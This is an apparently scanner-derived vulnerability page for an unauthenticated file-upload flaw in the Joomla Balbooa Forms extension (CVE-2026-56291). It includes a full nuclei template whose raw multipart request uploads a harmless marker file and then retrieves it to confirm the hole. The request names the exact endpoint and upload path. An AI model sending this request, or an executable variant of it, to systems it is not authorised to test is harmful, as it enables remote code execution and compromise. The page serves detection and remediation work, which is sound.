Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload

Exploited in the wild. Listed by CISA on 2026-07-10; known to be used by ransomware.

criticalseverity

9.8CVSS score

14.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Joomla Balbooa Forms contains an unrestricted file upload vulnerability caused by lack of authentication checks, letting unauthenticated attackers upload executable files and achieve remote code execution.

Impact

Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.

Fix

Update to the latest version of Balbooa Forms extension.

How to confirm it

Send: POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1
Positive when: status_code == 200
Send: GET /images/baforms/uploads/form-0/{{marker}}.txt
Positive when: status_code == 200 and contains(body, "CVE-2026-56291-{{marker}}")

Run it with nuclei: nuclei -id CVE-2026-56291 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-56291

info:
  name: Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload
  author: Nick Vidovic,0x_Akoko
  severity: critical
  description: |
    Joomla Balbooa Forms contains an unrestricted file upload vulnerability caused by lack of authentication checks, letting unauthenticated attackers upload executable files and achieve remote code execution.
  impact: |
    Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.
  remediation: |
    Update to the latest version of Balbooa Forms extension.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56291
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56291
    epss-score: 0.14854
    epss-percentile: 0.9672
    cwe-id: CWE-434
  metadata:
    verified: false
    max-request: 1
    vendor: balbooa
    product: forms
    framework: joomla
    fofa-query: body="com_baforms"
  tags: cve,cve2026,joomla,balbooa,baforms,file-upload,rce,vuln,kev,vkev

variables:
  marker: "{{to_lower(rand_base(8))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

        ------WebKitFormBoundary
        Content-Disposition: form-data; name="form_id"

        1
        ------WebKitFormBoundary
        Content-Disposition: form-data; name="file"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-56291-{{marker}}
        ------WebKitFormBoundary--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /images/baforms/uploads/form-0/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-56291-{{marker}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from